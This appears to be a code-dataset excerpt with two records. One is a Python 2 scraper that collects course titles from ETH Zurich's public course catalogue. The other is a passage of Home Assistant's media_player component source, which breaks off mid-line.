soup.find_all('a'): if a.attrs.has_key('href') and a['href'].find('lerneinheitPre.do') != -1: title = self.utils.removeDoubleSpace(a.text.strip().replace('\n','').replace('\t', '')) if len(title) > 2: print title self.count += 1 self.write_db(f, self.school + "-" + str(deptId) + "-" + str(self.count), title, 'http://www.vvz.ethz.ch' + a['href']) self.close_db(f) if file_lines != self.count and self.count > 0: self.do_upgrade_db(file_name) print "before lines: " + str(file_lines) + " after update: " + str(self.count) + " \n\n" else: self.cancel_upgrade(file_name) print "no need upgrade\n" def doWork(self): r = requests.get('http://www.vvz.ethz.ch/Vorlesungsverzeichnis/sucheLehrangebotPre.do?lang=en') soup = BeautifulSoup(r.text) for select in soup.find_all('select', class_='w50'): if select['name'] == "semkez": soup1 = BeautifulSoup(select.prettify()) for option in soup1.find_all('option'): if option.text.strip() != '': self.semkezDict[option['value']] = option.text.strip() if select['name'] == "deptId": soup1 = BeautifulSoup(select.prettify()) for option in soup1.find_all('option'): if option.text.strip() != '': self.deptDict[option['value']] = option.text.strip() for k, v in [(k,self.deptDict[k]) for k in self.deptDict.keys()]: if self.need_update_subject(v) == False: continue year = time.strftime("%Y") for semkez in self.semkezDict.keys(): if semkez[0 : 4] == year: self.processData(semkez, k, v) start = EthzSpider() start.doWork()
41.152778
357
0.567668
from spider import * sys.path.append("..") from utils import Utils class EthzSpider(Spider): def __init__(self): Spider.__init__(self) self.school = "ethz" self.semkezDict = {} self.deptDict = {} self.utils = Utils() def processData(self, semkez, deptId, subject): print "processing " + semkez + " " + deptId + " " + subject r = requests.get('http://www.vvz.ethz.ch/Vorlesungsverzeichnis/sucheLehrangebot.do?wahlinfo=&seite=0&katalogdaten=&lerneinheitstitel=&studiengangTyp=&strukturAus=on&rufname=&bereichAbschnittId=0&lang=en&ansicht=3&lehrsprache=&studiengangAbschnittId=0&semkez=' + semkez + '&famname=&deptId=' + deptId + '&unterbereichAbschnittId=0&lerneinheitscode=') soup = BeautifulSoup(r.text) file_name = self.get_file_name(subject.lower(), self.school) file_lines = self.countFileLineNum(file_name) f = self.open_db(file_name + ".tmp") self.count = 0 for a in soup.find_all('a'): if a.attrs.has_key('href') and a['href'].find('lerneinheitPre.do') != -1: title = self.utils.removeDoubleSpace(a.text.strip().replace('\n','').replace('\t', '')) if len(title) > 2: print title self.count += 1 self.write_db(f, self.school + "-" + str(deptId) + "-" + str(self.count), title, 'http://www.vvz.ethz.ch' + a['href']) self.close_db(f) if file_lines != self.count and self.count > 0: self.do_upgrade_db(file_name) print "before lines: " + str(file_lines) + " after update: " + str(self.count) + " \n\n" else: self.cancel_upgrade(file_name) print "no need upgrade\n" def doWork(self): r = requests.get('http://www.vvz.ethz.ch/Vorlesungsverzeichnis/sucheLehrangebotPre.do?lang=en') soup = BeautifulSoup(r.text) for select in soup.find_all('select', class_='w50'): if select['name'] == "semkez": soup1 = BeautifulSoup(select.prettify()) for option in soup1.find_all('option'): if option.text.strip() != '': self.semkezDict[option['value']] = option.text.strip() if select['name'] == "deptId": soup1 = BeautifulSoup(select.prettify()) for option in soup1.find_all('option'): if option.text.strip() != '': self.deptDict[option['value']] = option.text.strip() for k, v in [(k,self.deptDict[k]) for k in self.deptDict.keys()]: if self.need_update_subject(v) == False: continue year = time.strftime("%Y") for semkez in self.semkezDict.keys(): if semkez[0 : 4] == year: self.processData(semkez, k, v) start = EthzSpider() start.doWork()
false
true
f71f3fc2a1fe0183157711e98d38c579771e94c8
40,744
py
Python
homeassistant/components/media_player/__init__.py
laundrify/core
60387a417fb82b47700899a6b7e80b30dcc9766f
[ "Apache-2.0" ]
2
2020-01-03T17:06:33.000Z
2020-01-13T18:57:32.000Z
homeassistant/components/media_player/__init__.py
laundrify/core
60387a417fb82b47700899a6b7e80b30dcc9766f
[ "Apache-2.0" ]
20
2021-11-03T06:22:03.000Z
2022-03-31T06:21:17.000Z
homeassistant/components/media_player/__init__.py
laundrify/core
60387a417fb82b47700899a6b7e80b30dcc9766f
[ "Apache-2.0" ]
null
null
null
"""Component to interface with various media players.""" from __future__ import annotations import asyncio import base64 import collections from collections.abc import Callable from contextlib import suppress from dataclasses import dataclass import datetime as dt import functools as ft import hashlib from http import HTTPStatus import logging import secrets from typing import Any, cast, final from urllib.parse import urlparse from aiohttp import web from aiohttp.hdrs import CACHE_CONTROL, CONTENT_TYPE from aiohttp.typedefs import LooseHeaders import async_timeout import voluptuous as vol from yarl import URL from homeassistant.backports.enum import StrEnum from homeassistant.components import websocket_api from homeassistant.components.http import KEY_AUTHENTICATED, HomeAssistantView from homeassistant.components.websocket_api.const import ( ERR_NOT_FOUND, ERR_NOT_SUPPORTED, ERR_UNKNOWN_ERROR, ) from homeassistant.config_entries import ConfigEntry from homeassistant.const import ( SERVICE_MEDIA_NEXT_TRACK, SERVICE_MEDIA_PAUSE, SERVICE_MEDIA_PLAY, SERVICE_MEDIA_PLAY_PAUSE, SERVICE_MEDIA_PREVIOUS_TRACK, SERVICE_MEDIA_SEEK, SERVICE_MEDIA_STOP, SERVICE_REPEAT_SET, SERVICE_SHUFFLE_SET, SERVICE_TOGGLE, SERVICE_TURN_OFF, SERVICE_TURN_ON, SERVICE_VOLUME_DOWN, SERVICE_VOLUME_MUTE, SERVICE_VOLUME_SET, SERVICE_VOLUME_UP, STATE_IDLE, STATE_OFF, STATE_PLAYING, ) from homeassistant.core import HomeAssistant from homeassistant.helpers.aiohttp_client import async_get_clientsession import homeassistant.helpers.config_validation as cv from homeassistant.helpers.config_validation import ( # noqa: F401 PLATFORM_SCHEMA, PLATFORM_SCHEMA_BASE, ) from homeassistant.helpers.entity import Entity, EntityDescription from homeassistant.helpers.entity_component import EntityComponent from homeassistant.helpers.network import get_url from homeassistant.helpers.typing import ConfigType from homeassistant.loader import bind_hass from .browse_media import BrowseMedia, async_process_play_media_url # noqa: F401 from .const import ( # noqa: F401 ATTR_APP_ID, ATTR_APP_NAME, ATTR_ENTITY_PICTURE_LOCAL, ATTR_GROUP_MEMBERS, ATTR_INPUT_SOURCE, ATTR_INPUT_SOURCE_LIST, ATTR_MEDIA_ALBUM_ARTIST, ATTR_MEDIA_ALBUM_NAME, ATTR_MEDIA_ARTIST, ATTR_MEDIA_CHANNEL, ATTR_MEDIA_CONTENT_ID, ATTR_MEDIA_CONTENT_TYPE, ATTR_MEDIA_DURATION, ATTR_MEDIA_ENQUEUE, ATTR_MEDIA_EPISODE, ATTR_MEDIA_EXTRA, ATTR_MEDIA_PLAYLIST, ATTR_MEDIA_POSITION, ATTR_MEDIA_POSITION_UPDATED_AT, ATTR_MEDIA_REPEAT, ATTR_MEDIA_SEASON, ATTR_MEDIA_SEEK_POSITION, ATTR_MEDIA_SERIES_TITLE, ATTR_MEDIA_SHUFFLE, ATTR_MEDIA_TITLE, ATTR_MEDIA_TRACK, ATTR_MEDIA_VOLUME_LEVEL, ATTR_MEDIA_VOLUME_MUTED, ATTR_SOUND_MODE, ATTR_SOUND_MODE_LIST, CONTENT_AUTH_EXPIRY_TIME, DOMAIN, MEDIA_CLASS_DIRECTORY, REPEAT_MODES, SERVICE_CLEAR_PLAYLIST, SERVICE_JOIN, SERVICE_PLAY_MEDIA, SERVICE_SELECT_SOUND_MODE, SERVICE_SELECT_SOURCE, SERVICE_UNJOIN, SUPPORT_BROWSE_MEDIA, SUPPORT_CLEAR_PLAYLIST, SUPPORT_GROUPING, SUPPORT_NEXT_TRACK, SUPPORT_PAUSE, SUPPORT_PLAY, SUPPORT_PLAY_MEDIA, SUPPORT_PREVIOUS_TRACK, SUPPORT_REPEAT_SET, SUPPORT_SEEK, SUPPORT_SELECT_SOUND_MODE, SUPPORT_SELECT_SOURCE, SUPPORT_SHUFFLE_SET, SUPPORT_STOP, SUPPORT_TURN_OFF, SUPPORT_TURN_ON, SUPPORT_VOLUME_MUTE, SUPPORT_VOLUME_SET, SUPPORT_VOLUME_STEP, MediaPlayerEntityFeature, ) from .errors import BrowseError # mypy: allow-untyped-defs, no-check-untyped-defs _LOGGER = logging.getLogger(__name__) ENTITY_ID_FORMAT = DOMAIN + ".{}" CACHE_IMAGES = "images" CACHE_MAXSIZE = "maxsize" CACHE_LOCK = "lock" CACHE_URL = "url" CACHE_CONTENT = "content" ENTITY_IMAGE_CACHE = {CACHE_IMAGES: collections.OrderedDict(), CACHE_MAXSIZE: 16} SCAN_INTERVAL = dt.timedelta(seconds=10) class MediaPlayerEnqueue(StrEnum): """Enqueue types for playing media.""" # add given media item to end of the queue ADD = "add" # play the given media item next, keep queue NEXT = "next" # play the given media item now, keep queue PLAY = "play" # play the given media item now, clear queue REPLACE = "replace" class MediaPlayerDeviceClass(StrEnum): """Device class for media players.""" TV = "tv" SPEAKER = "speaker" RECEIVER = "receiver" DEVICE_CLASSES_SCHEMA = vol.All(vol.Lower, vol.Coerce(MediaPlayerDeviceClass)) # DEVICE_CLASS* below are deprecated as of 2021.12 # use the MediaPlayerDeviceClass enum instead. DEVICE_CLASSES = [cls.value for cls in MediaPlayerDeviceClass] DEVICE_CLASS_TV = MediaPlayerDeviceClass.TV.value DEVICE_CLASS_SPEAKER = MediaPlayerDeviceClass.SPEAKER.value DEVICE_CLASS_RECEIVER = MediaPlayerDeviceClass.RECEIVER.value MEDIA_PLAYER_PLAY_MEDIA_SCHEMA = { vol.Required(ATTR_MEDIA_CONTENT_TYPE): cv.string, vol.Required(ATTR_MEDIA_CONTENT_ID): cv.string, vol.Optional(ATTR_MEDIA_ENQUEUE): vol.Any( cv.boolean, vol.Coerce(MediaPlayerEnqueue) ), vol.Optional(ATTR_MEDIA_EXTRA, default={}): dict, } ATTR_TO_PROPERTY = [ ATTR_MEDIA_VOLUME_LEVEL, ATTR_MEDIA_VOLUME_MUTED, ATTR_MEDIA_CONTENT_ID, ATTR_MEDIA_CONTENT_TYPE, ATTR_MEDIA_DURATION, ATTR_MEDIA_POSITION, ATTR_MEDIA_POSITION_UPDATED_AT, ATTR_MEDIA_TITLE, ATTR_MEDIA_ARTIST, ATTR_MEDIA_ALBUM_NAME, ATTR_MEDIA_ALBUM_ARTIST, ATTR_MEDIA_TRACK, ATTR_MEDIA_SERIES_TITLE, ATTR_MEDIA_SEASON, ATTR_MEDIA_EPISODE, ATTR_MEDIA_CHANNEL, ATTR_MEDIA_PLAYLIST, ATTR_APP_ID, ATTR_APP_NAME, ATTR_INPUT_SOURCE, ATTR_SOUND_MODE, ATTR_MEDIA_SHUFFLE, ATTR_MEDIA_REPEAT, ] @bind_hass def is_on(hass, entity_id=None): """ Return true if specified media player entity_id is on. Check all media player if no entity_id specified. """ entity_ids = [entity_id] if entity_id else hass.states.entity_ids(DOMAIN) return any( not hass.states.is_state(entity_id, STATE_OFF) for entity_id in entity_ids ) def _rename_keys(**keys: Any) -> Callable[[dict[str, Any]], dict[str, Any]]: """Create validator that renames keys. Necessary because the service schema names do not match the command parameters. Async friendly. """ def rename(value: dict[str, Any]) -> dict[str, Any]: for to_key, from_key in keys.items(): if from_key in value: value[to_key] = value.pop(from_key) return value return rename async def async_setup(hass: HomeAssistant, config: ConfigType) -> bool: """Track states and offer events for media_players.""" component = hass.data[DOMAIN] = EntityComponent( logging.getLogger(__name__), DOMAIN, hass, SCAN_INTERVAL ) websocket_api.async_register_command(hass, websocket_handle_thumbnail) websocket_api.async_register_command(hass, websocket_browse_media) hass.http.register_view(MediaPlayerImageView(component)) await component.async_setup(config) component.async_register_entity_service( SERVICE_TURN_ON, {}, "async_turn_on", [MediaPlayerEntityFeature.TURN_ON] ) component.async_register_entity_service( SERVICE_TURN_OFF, {}, "async_turn_off", [MediaPlayerEntityFeature.TURN_OFF] ) component.async_register_entity_service( SERVICE_TOGGLE, {}, "async_toggle", [MediaPlayerEntityFeature.TURN_OFF | MediaPlayerEntityFeature.TURN_ON], ) component.async_register_entity_service( SERVICE_VOLUME_UP, {}, "async_volume_up", [MediaPlayerEntityFeature.VOLUME_SET, MediaPlayerEntityFeature.VOLUME_STEP], ) component.async_register_entity_service( SERVICE_VOLUME_DOWN, {}, "async_volume_down", [MediaPlayerEntityFeature.VOLUME_SET, MediaPlayerEntityFeature.VOLUME_STEP], ) component.async_register_entity_service( SERVICE_MEDIA_PLAY_PAUSE, {}, "async_media_play_pause", [MediaPlayerEntityFeature.PLAY | MediaPlayerEntityFeature.PAUSE], ) component.async_register_entity_service( SERVICE_MEDIA_PLAY, {}, "async_media_play", [MediaPlayerEntityFeature.PLAY] ) component.async_register_entity_service( SERVICE_MEDIA_PAUSE, {}, "async_media_pause", [MediaPlayerEntityFeature.PAUSE] ) component.async_register_entity_service( SERVICE_MEDIA_STOP, {}, "async_media_stop", [MediaPlayerEntityFeature.STOP] ) component.async_register_entity_service( SERVICE_MEDIA_NEXT_TRACK, {}, "async_media_next_track", [MediaPlayerEntityFeature.NEXT_TRACK], ) component.async_register_entity_service( SERVICE_MEDIA_PREVIOUS_TRACK, {}, "async_media_previous_track", [MediaPlayerEntityFeature.PREVIOUS_TRACK], ) component.async_register_entity_service( SERVICE_CLEAR_PLAYLIST, {}, "async_clear_playlist", [MediaPlayerEntityFeature.CLEAR_PLAYLIST], ) component.async_register_entity_service( SERVICE_VOLUME_SET, vol.All( cv.make_entity_service_schema( {vol.Required(ATTR_MEDIA_VOLUME_LEVEL): cv.small_float} ), _rename_keys(volume=ATTR_MEDIA_VOLUME_LEVEL), ), "async_set_volume_level", [MediaPlayerEntityFeature.VOLUME_SET], ) component.async_register_entity_service( SERVICE_VOLUME_MUTE, vol.All( cv.make_entity_service_schema( {vol.Required(ATTR_MEDIA_VOLUME_MUTED): cv.boolean} ), _rename_keys(mute=ATTR_MEDIA_VOLUME_MUTED), ), "async_mute_volume", [MediaPlayerEntityFeature.VOLUME_MUTE], ) component.async_register_entity_service( SERVICE_MEDIA_SEEK, vol.All( cv.make_entity_service_schema( {vol.Required(ATTR_MEDIA_SEEK_POSITION): cv.positive_float} ), _rename_keys(position=ATTR_MEDIA_SEEK_POSITION), ), "async_media_seek", [MediaPlayerEntityFeature.SEEK], ) component.async_register_entity_service( SERVICE_JOIN, {vol.Required(ATTR_GROUP_MEMBERS): vol.All(cv.ensure_list, [cv.entity_id])}, "async_join_players", [MediaPlayerEntityFeature.GROUPING], ) component.async_register_entity_service( SERVICE_SELECT_SOURCE, {vol.Required(ATTR_INPUT_SOURCE): cv.string}, "async_select_source", [MediaPlayerEntityFeature.SELECT_SOURCE], ) component.async_register_entity_service( SERVICE_SELECT_SOUND_MODE, {vol.Required(ATTR_SOUND_MODE): cv.string}, "async_select_sound_mode", [MediaPlayerEntityFeature.SELECT_SOUND_MODE], ) # Remove in Home Assistant 2022.9 def _rewrite_enqueue(value): """Rewrite the enqueue value.""" if ATTR_MEDIA_ENQUEUE not in value: pass elif value[ATTR_MEDIA_ENQUEUE] is True: value[ATTR_MEDIA_ENQUEUE] = MediaPlayerEnqueue.ADD _LOGGER.warning( "Playing media with enqueue set to True is deprecated. Use 'add' instead" ) elif value[ATTR_MEDIA_ENQUEUE] is False: value[ATTR_MEDIA_ENQUEUE] = MediaPlayerEnqueue.PLAY _LOGGER.warning( "Playing media with enqueue set to False is deprecated. Use 'play' instead" ) return value component.async_register_entity_service( SERVICE_PLAY_MEDIA, vol.All( cv.make_entity_service_schema(MEDIA_PLAYER_PLAY_MEDIA_SCHEMA), _rewrite_enqueue, _rename_keys( media_type=ATTR_MEDIA_CONTENT_TYPE, media_id=ATTR_MEDIA_CONTENT_ID, enqueue=ATTR_MEDIA_ENQUEUE, ), ), "async_play_media", [MediaPlayerEntityFeature.PLAY_MEDIA], ) component.async_register_entity_service( SERVICE_SHUFFLE_SET, {vol.Required(ATTR_MEDIA_SHUFFLE): cv.boolean}, "async_set_shuffle", [MediaPlayerEntityFeature.SHUFFLE_SET], ) component.async_register_entity_service( SERVICE_UNJOIN, {}, "async_unjoin_player", [MediaPlayerEntityFeature.GROUPING] ) component.async_register_entity_service( SERVICE_REPEAT_SET, {vol.Required(ATTR_MEDIA_REPEAT): vol.In(REPEAT_MODES)}, "async_set_repeat", [MediaPlayerEntityFeature.REPEAT_SET], ) return True async def async_setup_entry(hass: HomeAssistant, entry: ConfigEntry) -> bool: """Set up a config entry.""" component: EntityComponent = hass.data[DOMAIN] return await component.async_setup_entry(entry) async def async_unload_entry(hass: HomeAssistant, entry: ConfigEntry) -> bool: """Unload a config entry.""" component: EntityComponent = hass.data[DOMAIN] return await component.async_unload_entry(entry) @dataclass class MediaPlayerEntityDescription(EntityDescription): """A class that describes media player entities.""" device_class: MediaPlayerDeviceClass | str | None = None class MediaPlayerEntity(Entity): """ABC for media player entities.""" entity_description: MediaPlayerEntityDescription _access_token: str | None = None _attr_app_id: str | None = None _attr_app_name: str | None = None _attr_device_class: MediaPlayerDeviceClass | str | None _attr_group_members: list[str] | None = None _attr_is_volume_muted: bool | None = None _attr_media_album_artist: str | None = None _attr_media_album_name: str | None = None _attr_media_artist: str | None = None _attr_media_channel: str | None = None _attr_media_content_id: str | None = None _attr_media_content_type: str | None = None _attr_media_duration: int | None = None _attr_media_episode: str | None = None _attr_media_image_hash: str | None _attr_media_image_remotely_accessible: bool = False _attr_media_image_url: str | None = None _attr_media_playlist: str | None = None _attr_media_position_updated_at: dt.datetime | None = None _attr_media_position: int | None = None _attr_media_season: str | None = None _attr_media_series_title: str | None = None _attr_media_title: str | None = None _attr_media_track: int | None = None _attr_repeat: str | None = None _attr_shuffle: bool | None = None _attr_sound_mode_list: list[str] | None = None _attr_sound_mode: str | None = None _attr_source_list: list[str] | None = None _attr_source: str | None = None _attr_state: str | None = None _attr_supported_features: int = 0 _attr_volume_level: float | None = None # Implement these for your media player @property def device_class(self) -> MediaPlayerDeviceClass | str | None: """Return the class of this entity.""" if hasattr(self, "_attr_device_class"): return self._attr_device_class if hasattr(self, "entity_description"): return self.entity_description.device_class return None @property def state(self) -> str | None: """State of the player.""" return self._attr_state @property def access_token(self) -> str: """Access token for this media player.""" if self._access_token is None: self._access_token = secrets.token_hex(32) return self._access_token @property def volume_level(self) -> float | None: """Volume level of the media player (0..1).""" return self._attr_volume_level @property def is_volume_muted(self) -> bool | None: """Boolean if volume is currently muted.""" return self._attr_is_volume_muted @property def media_content_id(self) -> str | None: """Content ID of current playing media.""" return self._attr_media_content_id @property def media_content_type(self) -> str | None: """Content type of current playing media.""" return self._attr_media_content_type @property def media_duration(self) -> int | None: """Duration of current playing media in seconds.""" return self._attr_media_duration @property def media_position(self) -> int | None: """Position of current playing media in seconds.""" return self._attr_media_position @property def media_position_updated_at(self) -> dt.datetime | None: """When was the position of the current playing media valid. Returns value from homeassistant.util.dt.utcnow(). """ return self._attr_media_position_updated_at @property def media_image_url(self) -> str | None: """Image url of current playing media.""" return self._attr_media_image_url @property def media_image_remotely_accessible(self) -> bool: """If the image url is remotely accessible.""" return self._attr_media_image_remotely_accessible @property def media_image_hash(self) -> str | None: """Hash value for media image.""" if hasattr(self, "_attr_media_image_hash"): return self._attr_media_image_hash if (url := self.media_image_url) is not None: return hashlib.sha256(url.encode("utf-8")).hexdigest()[:16] return None async def async_get_media_image(self) -> tuple[bytes | None, str | None]: """Fetch media image of current playing image.""" if (url := self.media_image_url) is None: return None, None return await self._async_fetch_image_from_cache(url) async def async_get_browse_image( self, media_content_type: str, media_content_id: str, media_image_id: str | None = None, ) -> tuple[bytes | None, str | None]: """ Optionally fetch internally accessible image for media browser. Must be implemented by integration. """ return None, None @property def media_title(self) -> str | None: """Title of current playing media.""" return self._attr_media_title @property def media_artist(self) -> str | None: """Artist of current playing media, music track only.""" return self._attr_media_artist @property def media_album_name(self) -> str | None: """Album name of current playing media, music track only.""" return self._attr_media_album_name @property def media_album_artist(self) -> str | None: """Album artist of current playing media, music track only.""" return self._attr_media_album_artist @property def media_track(self) -> int | None: """Track number of current playing media, music track only.""" return self._attr_media_track @property def media_series_title(self) -> str | None: """Title of series of current playing media, TV show only.""" return self._attr_media_series_title @property def media_season(self) -> str | None: """Season of current playing media, TV show only.""" return self._attr_media_season @property def media_episode(self) -> str | None: """Episode of current playing media, TV show only.""" return self._attr_media_episode @property def media_channel(self) -> str | None: """Channel currently playing.""" return self._attr_media_channel @property def media_playlist(self) -> str | None: """Title of Playlist currently playing.""" return self._attr_media_playlist @property def app_id(self) -> str | None: """ID of the current running app.""" return self._attr_app_id @property def app_name(self) -> str | None: """Name of the current running app.""" return self._attr_app_name @property def source(self) -> str | None: """Name of the current input source.""" return self._attr_source @property def source_list(self) -> list[str] | None: """List of available input sources.""" return self._attr_source_list @property def sound_mode(self) -> str | None: """Name of the current sound mode.""" return self._attr_sound_mode @property def sound_mode_list(self) -> list[str] | None: """List of available sound modes.""" return self._attr_sound_mode_list @property def shuffle(self) -> bool | None: """Boolean if shuffle is enabled.""" return self._attr_shuffle @property def repeat(self) -> str | None: """Return current repeat mode.""" return self._attr_repeat @property def group_members(self) -> list[str] | None: """List of members which are currently grouped together.""" return self._attr_group_members @property def supported_features(self) -> int: """Flag media player features that are supported.""" return self._attr_supported_features def turn_on(self): """Turn the media player on.""" raise NotImplementedError() async def async_turn_on(self): """Turn the media player on.""" await self.hass.async_add_executor_job(self.turn_on) def turn_off(self): """Turn the media player off.""" raise NotImplementedError() async def async_turn_off(self): """Turn the media player off.""" await self.hass.async_add_executor_job(self.turn_off) def mute_volume(self, mute): """Mute the volume.""" raise NotImplementedError() async def async_mute_volume(self, mute): """Mute the volume.""" await self.hass.async_add_executor_job(self.mute_volume, mute) def set_volume_level(self, volume): """Set volume level, range 0..1.""" raise NotImplementedError() async def async_set_volume_level(self, volume): """Set volume level, range 0..1.""" await self.hass.async_add_executor_job(self.set_volume_level, volume) def media_play(self): """Send play command.""" raise NotImplementedError() async def async_media_play(self): """Send play command.""" await self.hass.async_add_executor_job(self.media_play) def media_pause(self): """Send pause command.""" raise NotImplementedError() async def async_media_pause(self): """Send pause command.""" await self.hass.async_add_executor_job(self.media_pause) def media_stop(self): """Send stop command.""" raise NotImplementedError() async def async_media_stop(self): """Send stop command.""" await self.hass.async_add_executor_job(self.media_stop) def media_previous_track(self): """Send previous track command.""" raise NotImplementedError() async def async_media_previous_track(self): """Send previous track command.""" await self.hass.async_add_executor_job(self.media_previous_track) def media_next_track(self): """Send next track command.""" raise NotImplementedError() async def async_media_next_track(self): """Send next track command.""" await self.hass.async_add_executor_job(self.media_next_track) def media_seek(self, position): """Send seek command.""" raise NotImplementedError() async def async_media_seek(self, position): """Send seek command.""" await self.hass.async_add_executor_job(self.media_seek, position) def play_media(self, media_type, media_id, **kwargs): """Play a piece of media.""" raise NotImplementedError() async def async_play_media(self, media_type, media_id, **kwargs): """Play a piece of media.""" await self.hass.async_add_executor_job( ft.partial(self.play_media, media_type, media_id, **kwargs) ) def select_source(self, source): """Select input source.""" raise NotImplementedError() async def async_select_source(self, source): """Select input source.""" await self.hass.async_add_executor_job(self.select_source, source) def select_sound_mode(self, sound_mode): """Select sound mode.""" raise NotImplementedError() async def async_select_sound_mode(self, sound_mode): """Select sound mode.""" await self.hass.async_add_executor_job(self.select_sound_mode, sound_mode) def clear_playlist(self): """Clear players playlist.""" raise NotImplementedError() async def async_clear_playlist(self): """Clear players playlist.""" await self.hass.async_add_executor_job(self.clear_playlist) def set_shuffle(self, shuffle): """Enable/disable shuffle mode.""" raise NotImplementedError() async def async_set_shuffle(self, shuffle): """Enable/disable shuffle mode.""" await self.hass.async_add_executor_job(self.set_shuffle, shuffle) def set_repeat(self, repeat): """Set repeat mode.""" raise NotImplementedError() async def async_set_repeat(self, repeat): """Set repeat mode.""" await self.hass.async_add_executor_job(self.set_repeat, repeat) # No need to overwrite these. @property def support_play(self): """Boolean if play is supported.""" return bool(self.supported_features & MediaPlayerEntityFeature.PLAY) @property def support_pause(self): """Boolean if pause is supported.""" return bool(self.supported_features & MediaPlayerEntityFeature.PAUSE) @property def support_stop(self): """Boolean if stop is supported.""" return bool(self.supported_features & MediaPlayerEntityFeature.STOP) @property def support_seek(self): """Boolean if seek is supported.""" return bool(self.supported_features & MediaPlayerEntityFeature.SEEK) @property def support_volume_set(self): """Boolean if setting volume is supported.""" return bool(self.supported_features & MediaPlayerEntityFeature.VOLUME_SET) @property def support_volume_mute(self): """Boolean if muting volume is supported.""" return bool(self.supported_features & MediaPlayerEntityFeature.VOLUME_MUTE) @property def support_previous_track(self): """Boolean if previous track command supported.""" return bool(self.supported_features & MediaPlayerEntityFeature.PREVIOUS_TRACK) @property def support_next_track(self): """Boolean if next track command supported.""" return bool(self.supported_features & MediaPlayerEntityFeature.NEXT_TRACK) @property def support_play_media(self): """Boolean if play media command supported.""" return bool(self.supported_features & MediaPlayerEntityFeature.PLAY_MEDIA) @property def support_select_source(self): """Boolean if select source command supported.""" return bool(self.supported_features & MediaPlayerEntityFeature.SELECT_SOURCE) @property def support_select_sound_mode(self): """Boolean if select sound mode command supported.""" return bool( self.supported_features & MediaPlayerEntityFeature.SELECT_SOUND_MODE ) @property def support_clear_playlist(self): """Boolean if clear playlist command supported.""" return bool(self.supported_features & MediaPlayerEntityFeature.CLEAR_PLAYLIST) @property def support_shuffle_set(self): """Boolean if shuffle is supported.""" return bool(self.supported_features & MediaPlayerEntityFeature.SHUFFLE_SET) @property def support_grouping(self): """Boolean if player grouping is supported.""" return bool(self.supported_features & MediaPlayerEntityFeature.GROUPING) async def async_toggle(self): """Toggle the power on the media player.""" if hasattr(self, "toggle"): await self.hass.async_add_executor_job(self.toggle) return if self.state in (STATE_OFF, STATE_IDLE): await self.async_turn_on() else: await self.async_turn_off() async def async_volume_up(self): """Turn volume up for media player. This method is a coroutine. """ if hasattr(self, "volume_up"): await self.hass.async_add_executor_job(self.volume_up) return if ( self.volume_level < 1 and self.supported_features & MediaPlayerEntityFeature.VOLUME_SET ): await self.async_set_volume_level(min(1, self.volume_level + 0.1)) async def async_volume_down(self): """Turn volume down for media player. This method is a coroutine. """ if hasattr(self, "volume_down"): await self.hass.async_add_executor_job(self.volume_down) return if ( self.volume_level > 0 and self.supported_features & MediaPlayerEntityFeature.VOLUME_SET ): await self.async_set_volume_level(max(0, self.volume_level - 0.1)) async def async_media_play_pause(self): """Play or pause the media player.""" if hasattr(self, "media_play_pause"): await self.hass.async_add_executor_job(self.media_play_pause) return if self.state == STATE_PLAYING: await self.async_media_pause() else: await self.async_media_play() @property def entity_picture(self): """Return image of the media playing.""" if self.state == STATE_OFF: return None if self.media_image_remotely_accessible: return self.media_image_url return self.media_image_local @property def media_image_local(self): """Return local url to media image.""" if (image_hash := self.media_image_hash) is None: return None return ( f"/api/media_player_proxy/{self.entity_id}?" f"token={self.access_token}&cache={image_hash}" ) @property def capability_attributes(self): """Return capability attributes.""" supported_features = self.supported_features or 0 data = {} if supported_features & MediaPlayerEntityFeature.SELECT_SOURCE and ( source_list := self.source_list ): data[ATTR_INPUT_SOURCE_LIST] = source_list if supported_features & MediaPlayerEntityFeature.SELECT_SOUND_MODE and ( sound_mode_list := self.sound_mode_list ): data[ATTR_SOUND_MODE_LIST] = sound_mode_list return data @final @property def state_attributes(self): """Return the state attributes.""" state_attr = {} if self.support_grouping: state_attr[ATTR_GROUP_MEMBERS] = self.group_members if self.state == STATE_OFF: return state_attr for attr in ATTR_TO_PROPERTY: if (value := getattr(self, attr)) is not None: state_attr[attr] = value if self.media_image_remotely_accessible: state_attr[ATTR_ENTITY_PICTURE_LOCAL] = self.media_image_local return state_attr async def async_browse_media( self, media_content_type: str | None = None, media_content_id: str | None = None, ) -> BrowseMedia: """Return a BrowseMedia instance. The BrowseMedia instance will be used by the "media_player/browse_media" websocket command. """ raise NotImplementedError() def join_players(self, group_members): """Join `group_members` as a player group with the current player.""" raise NotImplementedError() async def async_join_players(self, group_members): """Join `group_members` as a player group with the current player.""" await self.hass.async_add_executor_job(self.join_players, group_members) def unjoin_player(self): """Remove this player from any group.""" raise NotImplementedError() async def async_unjoin_player(self): """Remove this player from any group.""" await self.hass.async_add_executor_job(self.unjoin_player) async def _async_fetch_image_from_cache( self, url: str ) -> tuple[bytes | None, str | None]: """Fetch image. Images are cached in memory (the images are typically 10-100kB in size). """ cache_images = cast(collections.OrderedDict, ENTITY_IMAGE_CACHE[CACHE_IMAGES]) cache_maxsize = cast(int, ENTITY_IMAGE_CACHE[CACHE_MAXSIZE]) if urlparse(url).hostname is None: url = f"{get_url(self.hass)}{url}" if url not in cache_images: cache_images[url] = {CACHE_LOCK: asyncio.Lock()} async with cache_images[url][CACHE_LOCK]: if CACHE_CONTENT in cache_images[url]: return cache_images[url][CACHE_CONTENT] # type:ignore[no-any-return] (content, content_type) = await self._async_fetch_image(url) async with cache_images[url][CACHE_LOCK]: cache_images[url][CACHE_CONTENT] = content, content_type while len(cache_images) > cache_maxsize: cache_images.popitem(last=False) return content, content_type async def _async_fetch_image(self, url: str) -> tuple[bytes | None, str | None]: """Retrieve an image.""" return await async_fetch_image(_LOGGER, self.hass, url) def get_browse_image_url( self, media_content_type: str, media_content_id: str, media_image_id: str | None = None, ) -> str: """Generate an url for a media browser image.""" url_path = ( f"/api/media_player_proxy/{self.entity_id}/browse_media" f"/{media_content_type}/{media_content_id}" ) url_query = {"token": self.access_token} if media_image_id: url_query["media_image_id"] = media_image_id return str(URL(url_path).with_query(url_query)) class MediaPlayerImageView(HomeAssistantView): """Media player view to serve an image.""" requires_auth = False url = "/api/media_player_proxy/{entity_id}" name = "api:media_player:image" extra_urls = [ url + "/browse_media/{media_content_type}/{media_content_id}", ] def __init__(self, component: EntityComponent) -> None: """Initialize a media player view.""" self.component = component async def get( self, request: web.Request, entity_id: str, media_content_type: str | None = None, media_content_id: str | None = None, ) -> web.Response: """Start a get request.""" if (player := self.component.get_entity(entity_id)) is None: status = ( HTTPStatus.NOT_FOUND if request[KEY_AUTHENTICATED] 